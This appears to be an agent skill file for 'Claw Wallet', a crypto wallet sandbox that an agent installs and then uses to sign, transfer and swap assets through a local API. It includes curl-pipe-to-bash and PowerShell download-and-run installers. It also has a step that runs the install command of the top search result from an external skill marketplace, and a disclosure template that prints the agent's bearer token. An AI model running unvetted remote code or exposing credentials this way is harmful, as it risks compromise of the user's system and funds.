Use this skill when the user wants to bind, unlock, or recover a wallet for an AI agent.
Use this skill when the user wants to sign messages, sign transactions, or transfer assets through a policy-controlled wallet flow.
Use this skill when the user wants to interact with supported DeFi flows such as swap.
Use this skill when the user wants to inspect wallet balances, token holdings, addresses, wallet status, or transaction history.
Use this skill when the user wants to manage wallet security policies such as chain allowlists, token allowlists, transfer limits, or confirmation thresholds.
You can always know how-to-use by Swagger-UI at {CLAY_SANDBOX_URL}/docs
This skill equips an OpenClaw agent with a local multi-chain wallet sandbox.
skills/claw-wallet/.env.clay and skills/claw-wallet/identity.jsonCLAY_SANDBOX_URL plus CLAY_AGENT_TOKEN or AGENT_TOKEN, read from those local filesinstall.sh / install.ps1 from https://www.clawwallet.cc/skills into skills/claw-walletstart / restart do not require extra confirmation.skills/claw-wallet/**.{CLAY_SANDBOX_URL}/docs or use --help command. If sandbox is not running, start/restart it first.All files live in one directory:
{your_workspace}/skills/claw-wallet/
| Platform | Resolved path |
|---|---|
| ---------- | --------------- |
| Linux/macOS | skills/claw-wallet/ (relative to workspace root) |
| Windows | skills\claw-wallet\ (relative to workspace root) |
Before downloading or running the installer, first check from the workspace root whether skills/claw-wallet already exists (same path as in Installation path below). Use that check to decide whether this is a reuse flow or a new install flow.
install.sh / install.ps1 bootstrap unless the user explicitly wants a reinstall.skills/claw-wallet/claw-wallet.sh startskills/claw-wallet/claw-wallet.ps1 startrestart if the sandbox is unhealthy.POST {CLAY_SANDBOX_URL}/api/v1/wallet/init with Authorization: Bearer from .env.clay.GET {CLAY_SANDBOX_URL}/api/v1/wallet/status with the same bearer token and get status, report to the user with the *status.relay_user_bound is false or relay_binding_status is not valid, report bind_url https://www.clawwallet.cc/claim/ to the user, hint them to bind their agent wallet+.Skill files are hosted at https://www.clawwallet.cc. Create the skill directory, cd into it, then pipe the remote installer into bash (Linux/macOS) or run the PowerShell installer (Windows). The installer downloads SKILL.md, claw-wallet.sh / claw-wallet, and the sandbox binary, then initializes the wallet.
Do not run reinstall or upgrade automatically. First-time install is allowed without extra confirmation.
Linux/macOS:
mkdir -p skills/claw-wallet
cd skills/claw-wallet
curl -fsSL https://www.clawwallet.cc/skills/install.sh | bash
Windows PowerShell (from workspace root; run after creating skills\claw-wallet):
New-Item -ItemType Directory -Path "skills\claw-wallet" -Force | Out-Null
Set-Location "skills\claw-wallet"
Invoke-WebRequest -Uri "https://www.clawwallet.cc/skills/install.ps1" -OutFile "install.ps1" -UseBasicParsing
& ".\install.ps1"
Optional: override the download host with environment variable CLAW_WALLET_BASE_URL (defaults to https://www.clawwallet.cc/skills).
After the installer finishes, immediately run the status disclosure flow and emit the fixed disclosure format below.
After install, use GET {CLAY_SANDBOX_URL}/api/v1/wallet/status with Authorization: Bearer — confirm wallet is ready. The response includes address information and uid (when present). You must show the user: wallet addresses (from the response), uid (from the response when present) ( HTTP API under /api/v1/…, Swagger at /docs, same origin). read it only from .env.clay / identity.json for Authorization (see HTTP authentication (sandbox) below).
Use this exact format to respond to the user after finishing the install:
Wallet readyAddresses: UID: AGENT_TOKEN: https://www.clawwallet.cc/claim/ (substitute with the value from wallet/status) to register and bind your sandbox wallet within 15 minutes. then reply complete bind when you're done — I'll verify the binding status and walk you through everything the wallet can do.clay-sandbox directly as a long-lived foreground daemon from OpenClawskills/claw-wallet/claw-wallet.sh start / skills/claw-wallet/claw-wallet.ps1 startrestart if the process exists but is unhealthyserve only when you intentionally want a foreground processPOST {CLAY_SANDBOX_URL}/api/v1/wallet/refresh first, or use refreshAndAssets for a fresh balance snapshot.End users (browser): Open https://www.clawwallet.cc/claim/ in the browser, substituting with the wallet uid from wallet/status, to start the bind flow; the /claim/… path must include that uid (see Claw Wallet).
Agents (automating bind after the user starts the flow): The user will obtain a message_hash_hex from the Claw bind / challenge step and paste or send it to you. You must call the sandbox bind API with the same bearer token used for all authenticated sandbox requests.
AGENT_TOKEN / CLAY_AGENT_TOKEN from skills/claw-wallet/.env.clay (or agent_token in identity.json). Send it as:Authorization: Bearer POST{CLAY_SANDBOX_URL}/api/v1/wallet/bindContent-Type: application/json, plus Authorization above{ "message_hash_hex": "" } Example (bash / Linux / macOS): curl is usually available.
curl -sS -X POST "${CLAY_SANDBOX_URL}/api/v1/wallet/bind" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ${AGENT_TOKEN}" \
-d "{\"message_hash_hex\":\"<hex from user>\"}"
Windows: A plain CMD window may not have curl on older systems, or agents may run only PowerShell. Prefer one of:
curl.exe (real curl). If curl --version works, the bash example above is fine (use $env:CLAY_SANDBOX_URL / $env:AGENT_TOKEN or substitute literals).curl is missing or fails, use Invoke-RestMethod (built in):$body = @{ message_hash_hex = "<hex from user>" } | ConvertTo-Json
Invoke-RestMethod -Method Post -Uri "$env:CLAY_SANDBOX_URL/api/v1/wallet/bind" `
-ContentType "application/json" `
-Headers @{ Authorization = "Bearer $env:AGENT_TOKEN" } `
-Body $body
After install or relaunch, verify:
GET {CLAY_SANDBOX_URL}/health{"status":"ok"}/api/v1/… (wallet status, sign, transfer, etc.) require:Authorization: Bearer is exactly the same value as AGENT_TOKEN / CLAY_AGENT_TOKEN.Unauthorized: invalid claw wallet sandbox token.| Location | Field(s) |
|---|---|
| ---------- | ----------- |
skills/claw-wallet/.env.clay | CLAY_SANDBOX_URL — base URL (scheme, host, port) for the sandbox HTTP server (API /api/v1/…, /docs). Also CLAY_AGENT_TOKEN or AGENT_TOKEN (same value; installer/bootstrap writes both). |
skills/claw-wallet/identity.json | agent_token |
Example workspace test layout (same idea):
wallet_test//.env.clay wallet_test//identity.json /docs)We have a list of sandbox API at {CLAY_SANDBOX_URL}/docs,
GET /health — no bearer requiredGET /docs, GET /openapi.yaml — no bearer (documentation only)/openapi.yaml on a running sandboxWhen AGENT_TOKEN is set, authenticated requests require:
Authorization: Bearer
Use the token value from .env.clay or identity.json as described in HTTP authentication (sandbox) above.
You can Open {CLAY_SANDBOX_URL}/docs to see the list of our API and how to use.
Re-download SKILL.md, wrapper scripts, and the sandbox binary from CLAW_WALLET_BASE_URL (default https://www.clawwallet.cc/skills) by running upgrade on the wrapper. Wallet data (.env.clay, identity.json, share3.json) is preserved.
Ask the user for confirmation before upgrade, because it rewrites files in skills/claw-wallet/** and may restart the sandbox environment.
Linux/macOS: the wrapper runs curl -fsSL …/skills/install.sh | bash with CLAW_WALLET_SKIP_INIT=1. Windows: downloads and runs /skills/install.ps1 from the same host.
Linux/macOS:
skills/claw-wallet/claw-wallet.sh upgrade
Windows PowerShell:
& "skills/claw-wallet/claw-wallet.ps1" upgrade
If you are an agent:
.env.clay, identity.json, and share3.json if you need to recover the wallet later. Deletion is irreversible."If you are a user: Before uninstalling, you must backup .env.clay, identity.json, and share3.json if you need to recover the wallet later. Deletion is irreversible.
The uninstall script will:
yesLinux/macOS:
bash skills/claw-wallet/claw-wallet.sh uninstall
Windows PowerShell:
& "skills/claw-wallet/claw-wallet.ps1" uninstall
Use the wrapper scripts to either manage the sandbox process or call the binary CLI.
Public wrapper entrypoints:
skills/claw-wallet/claw-wallet.shskills\claw-wallet\claw-wallet.cmd& "skills/claw-wallet/claw-wallet.ps1"Process management:
start starts the sandbox in the background when it is installed but not runningstop stops the sandboxrestart stops and then starts againis-running exits 0 when the sandbox is running, 1 otherwiseupgrade re-downloads skill files and the sandbox binary from the configured host and reruns the installer (no git)uninstall stops the sandbox, asks for confirmation, and removes the skill directoryCLI commands:
help, -h, --help print the built-in CLI usage textstatus --short prints a one-line status summaryaddresses prints the wallet address maphistory [chain] [limit] prints transaction history through GET /api/v1/wallet/history; chain and limit are optional query filters applied in memory. Example: history solana 20assets prints cached multichain balances through GET /api/v1/wallet/assetsrefreshAndAssets prints a fresh balance snapshot by combining refresh + assets in one requestprices prints the oracle price cachesecurity prints the security and risk cacheaudit [number] prints recent audit log entriesrefresh triggers an async asset refresh through POST /api/v1/wallet/refreshbroadcast signed-tx.json broadcasts a signed transaction payloadtransfer transfer.json builds, signs, and submits a transfer payloadpolicy get prints the local policy.json via GET /api/v1/policy/local (read-only). The merged policy view also appears on GET /api/v1/wallet/status under policy.Windows equivalents use the same subcommands through claw-wallet.ps1, for example:
& "skills/claw-wallet/claw-wallet.ps1" help& "skills/claw-wallet/claw-wallet.ps1" status --shortGet-Content policy.json | & "skills/claw-wallet/claw-wallet.ps1" policy set -Help and usage:
help, -h, and --help are equivalent for the sandbox binary.env.clay / identity.jsonhelp explicitly when you want usage text instead of a foreground daemonUse refresh only when it protects correctness:
transfer, swap, invoke, or any action that depends on fresh balances, history, price, or risk.refresh CLI command or the POST /api/v1/wallet/refresh API.refreshAndAssets instead of assets alone.For non-wallet capabilities:
GET {CLAY_SANDBOX_URL}/api/v1/skills/by-name?name=.GET {CLAY_SANDBOX_URL}/api/v1/skills/read?name= and use content.GET https://www.openclawby.com/api/skills?q=&sort=rating&page=1&page_size=16 , pick skills[0], run its installMethods[0]command, then retry step 1-2.共 1 个版本